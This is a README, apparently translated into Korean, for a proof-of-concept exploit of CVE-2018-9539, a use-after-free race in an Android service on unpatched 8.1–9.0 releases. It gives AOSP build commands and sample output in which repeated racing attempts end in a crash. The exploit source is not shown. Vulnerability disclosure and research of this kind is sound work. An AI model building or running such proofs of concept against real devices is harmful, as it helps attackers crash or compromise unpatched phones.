
PoC code for CVE-2018-9539
CVE-2018-9539에 대한 개념 증명 코드
질문이 있으시면 Twitter (@tamir_zb)로 DM 보내주세요.
이것을 빌드하려면:
AOSP/external에 넣습니다.cd AOSP
source build/envsetup.sh
make cas_race_uaf
이 PoC를 패치되지 않은 Android 버전(2018년 11월 이전의 8.1-9.0)에서 실행하면 use-after-free가 발생합니다. 이 PoC는 Android 8.1에서 실행되도록 의도된 것은 아닙니다. UaF가 서비스를 충돌시킬 것으로 예상하는데, 이는 Android 9.0에서만 발생하기 때문입니다. 따라서 Android 8.1에서 이 PoC를 실행하면 무한 루프가 발생합니다.
다음은 Android 9.0에서 이 PoC를 실행한 예시 출력입니다:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts